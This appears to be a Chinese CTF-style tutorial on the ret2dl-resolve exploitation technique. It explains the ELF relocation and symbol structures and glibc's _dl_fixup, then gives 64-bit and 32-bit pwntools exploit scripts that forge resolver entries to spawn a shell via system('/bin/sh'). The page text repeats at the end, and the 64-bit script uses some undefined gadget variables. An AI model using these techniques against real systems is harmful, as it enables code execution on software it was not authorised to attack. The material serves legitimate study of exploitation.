dl-resolve浅析
字数 1414 2025-08-25 22:59:09

Ret2dl-resolve 技术深入解析

1. 前置知识

1.1 ELF文件关键节区

ret2dl-resolve技术主要涉及ELF文件的三个关键节区:

  1. .dynsym节(SYMTAB段) - 动态符号表
  2. .rela.plt/.rel.plt节(JMPREL段) - 重定位表
  3. .dynstr节 - 动态字符串表

1.2 关键数据结构

64位ELF结构体

// .rela.plt节(JMPREL段)结构体
typedef struct {
    Elf64_Addr r_offset;   /* Address */
    Elf64_Xword r_info;    /* Relocation type and symbol index */
    Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

// .dynsym节(SYMTAB段)结构体
typedef struct {
    Elf64_Word st_name;    /* Symbol name (string tbl index) */
    unsigned char st_info; /* Symbol type and binding */
    unsigned char st_other;/* Symbol visibility */
    Elf64_Section st_shndx;/* Section index */
    Elf64_Addr st_value;   /* Symbol value */
    Elf64_Xword st_size;   /* Symbol size */
} Elf64_Sym;

32位ELF结构体

// .rel.plt节结构体
typedef struct {
    Elf32_Addr r_offset;  /* Address */
    Elf32_Word r_info;    /* Relocation type and symbol index */
} Elf32_Rel;

// .dynsym节结构体
typedef struct {
    Elf32_Word st_name;   /* Symbol name (string tbl index) */
    Elf32_Addr st_value;  /* Symbol value */
    Elf32_Word st_size;   /* Symbol size */
    unsigned char st_info;/* Symbol type and binding */
    unsigned char st_other;/* Symbol visibility */
    Elf32_Section st_shndx;/* Section index */
} Elf32_Sym;

2. 动态链接解析过程分析

2.1 函数解析的三次跳跃

  1. 第一次跳跃:通过reloc_offset定位.rela.plt中的重定位项

    • reloc_offset指示函数在.rela.plt节中的位置
    • 获取r_info字段,包含符号索引和重定位类型
  2. 第二次跳跃:通过r_info定位.dynsym中的符号项

    • r_info提取符号索引
    • 获取st_name字段,即函数名在.dynstr中的偏移
  3. 第三次跳跃:通过st_name定位.dynstr中的函数名字符串

    • .dynstr起始地址加上st_name偏移得到函数名字符串
    • 使用该字符串在动态库中查找函数地址

2.2 _dl_fixup函数分析

_dl_fixup是动态链接解析的核心函数,主要流程:

  1. link_map获取关键节区地址:

    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    
  2. 获取符号信息:

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    
  3. 版本检查(可能绕过):

    if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) {
        // 版本检查逻辑
    }
    
  4. 查找符号地址:

    result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    
  5. 计算并返回实际地址:

    value = DL_FIXUP_MAKE_VALUE(result, SYMBOL_ADDRESS(result, sym, false));
    

3. 利用技术详解

3.1 基本利用思路

  1. 构造伪造的重定位项(fake .rela.plt)
  2. 构造伪造的符号项(fake .dynsym)
  3. 构造伪造的字符串(fake .dynstr)
  4. 控制程序流程跳转到_dl_runtime_resolve,使用伪造的reloc_arg

3.2 关键绕过技术

在64位系统中需要注意版本检查的绕过:

if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) {
    // 可能访问不可读内存导致崩溃
}

解决方法:

  • 泄露link_map地址(通常位于.got.plt+0x8
  • link_map+0x1c8处(l_info[VERSYMIDX(DT_VERSYM)])置零

3.3 64位利用示例

from pwn import *

# 初始化设置
context.log_level = 'debug'
r = process('./pwn')
elf = ELF('./pwn')

# 关键地址
puts_plt = 0x4005d0
link_map_ptr = 0x620008  # .got.plt+0x8
rel_plt_addr = 0x4004f0
dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8

# 1. 泄露link_map地址
payload = flat([
    b'A'*0x18,
    pop_rdi,
    link_map_ptr,
    puts_plt,
    start_address
])
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, b'\x00'))

# 2. 构造fake链
base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18
base_addr += align  # 对齐到0x620798

reloc_arg = (base_addr - rel_plt_addr) // 0x18
dynsym_off = (base_addr + 0x18 - dynsym_addr) // 0x18
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38

# 3. 发送伪造数据
fake_reloc = flat([
    read_got,          # r_offset
    (dynsym_off << 32) | 0x7,  # r_info
    0                  # r_addend
])

fake_sym = flat([
    system_off,        # st_name
    0x12 << 8,         # st_info + st_other + st_shndx
    0, 0               # st_value + st_size
])

fake_str = flat([
    b'system\x00\x00',
    b'/bin/sh\x00'
])

# 4. 触发漏洞
payload = flat([
    b'A'*0x18,
    # 修改link_map+0x1c8为0
    pop_rsi_r15, 0x20, 0,
    pop_rdi, link_map_addr + 0x1c0,
    read_func,
    # 读取fake链
    pop_rsi_r15, 0x100, 0,
    pop_rdi, base_addr - 0x8,
    read_func,
    # 触发resolve
    pop_rdi, bin_sh_addr,
    plt_addr,
    reloc_arg
])
r.send(payload)

# 发送伪造数据
r.send(flat([
    p64(0)*4,          # 修改link_map+0x1c8
    fake_reloc,
    fake_sym,
    fake_str
]))

r.interactive()

3.4 32位利用示例

from pwn import *

context.log_level = 'debug'
r = process('./pwn200')
elf = ELF('./pwn200')

# 关键地址
plt0 = 0x8048370
rel_plt = 0x8048318
dynsym = 0x80481D8
dynstr = 0x8048268

# 构造fake地址
base_addr = 0x804a800
reloc_arg = (base_addr + 0x28 - rel_plt) // 0x10
dynsym_off = (base_addr + 0x38 - dynsym) // 0x10
system_off = base_addr + 0x48 - dynstr
binsh_addr = base_addr + 0x50
r_info = (dynsym_off << 8) | 0x7

# 构造payload
payload = flat([
    b'A'*0x6c,
    b'A'*4,
    read_plt,
    ppp_ret,
    0, base_addr, 100,
    pop_ebp, base_addr,
    leave_ret
])
r.sendline(payload)

# 发送伪造数据
payload = flat([
    b'aaaa',           # 平衡栈
    plt0,
    reloc_arg,
    b'a'*4,            # 填充
    binsh_addr,        # system参数
    b'a'*0x14,
    read_got,          # r_offset
    r_info,            # r_info
    b'a'*8,
    system_off,        # st_name
    0, 0,              # st_value + st_size
    0x12,              # st_info + st_other + st_shndx
    b'system\x00\x00',
    b'/bin/sh\x00'
])
r.sendline(payload.ljust(100, b'a'))

r.interactive()

4. 关键注意事项

  1. 地址对齐

    • 64位:.rela.plt项大小为0x18字节
    • 32位:.rel.plt项大小为0x10字节
    • .dynsym项在32位和64位下大小不同
  2. 版本检查绕过

    • 64位系统必须处理l->l_info[VERSYMIDX(DT_VERSYM)]
    • 可通过修改link_map+0x1c8处值为0来绕过
  3. 偏移计算

    • 精确计算各伪造结构体之间的偏移关系
    • 确保所有伪造数据位于可写内存区域
  4. 利用条件

    • 需要能够控制足够大的栈溢出
    • 需要有至少一次内存写入机会
    • 最好有信息泄露能力(用于泄露link_map

5. 参考资源

  1. Oracle ELF文档:https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html
  2. glibc源码:https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html
  3. ret2dl_resolve学习笔记:https://veritas501.space/2017/10/07/ret2dl_resolve学习笔记/
Ret2dl-resolve 技术深入解析 1. 前置知识 1.1 ELF文件关键节区 ret2dl-resolve技术主要涉及ELF文件的三个关键节区: .dynsym节(SYMTAB段) - 动态符号表 .rela.plt/.rel.plt节(JMPREL段) - 重定位表 .dynstr节 - 动态字符串表 1.2 关键数据结构 64位ELF结构体 32位ELF结构体 2. 动态链接解析过程分析 2.1 函数解析的三次跳跃 第一次跳跃 :通过 reloc_offset 定位 .rela.plt 中的重定位项 reloc_offset 指示函数在 .rela.plt 节中的位置 获取 r_info 字段,包含符号索引和重定位类型 第二次跳跃 :通过 r_info 定位 .dynsym 中的符号项 从 r_info 提取符号索引 获取 st_name 字段,即函数名在 .dynstr 中的偏移 第三次跳跃 :通过 st_name 定位 .dynstr 中的函数名字符串 .dynstr 起始地址加上 st_name 偏移得到函数名字符串 使用该字符串在动态库中查找函数地址 2.2 _ dl_ fixup函数分析 _dl_fixup 是动态链接解析的核心函数,主要流程: 从 link_map 获取关键节区地址: 获取符号信息: 版本检查(可能绕过): 查找符号地址: 计算并返回实际地址: 3. 利用技术详解 3.1 基本利用思路 构造伪造的重定位项( fake .rela.plt ) 构造伪造的符号项( fake .dynsym ) 构造伪造的字符串( fake .dynstr ) 控制程序流程跳转到 _dl_runtime_resolve ,使用伪造的 reloc_arg 3.2 关键绕过技术 在64位系统中需要注意版本检查的绕过: 解决方法: 泄露 link_map 地址(通常位于 .got.plt+0x8 ) 将 link_map+0x1c8 处( l_info[VERSYMIDX(DT_VERSYM)] )置零 3.3 64位利用示例 3.4 32位利用示例 4. 关键注意事项 地址对齐 : 64位: .rela.plt 项大小为0x18字节 32位: .rel.plt 项大小为0x10字节 .dynsym 项在32位和64位下大小不同 版本检查绕过 : 64位系统必须处理 l->l_info[VERSYMIDX(DT_VERSYM)] 可通过修改 link_map+0x1c8 处值为0来绕过 偏移计算 : 精确计算各伪造结构体之间的偏移关系 确保所有伪造数据位于可写内存区域 利用条件 : 需要能够控制足够大的栈溢出 需要有至少一次内存写入机会 最好有信息泄露能力(用于泄露 link_map ) 5. 参考资源 Oracle ELF文档:https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html glibc源码:https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html ret2dl_ resolve学习笔记:https://veritas501.space/2017/10/07/ret2dl_ resolve学习笔记/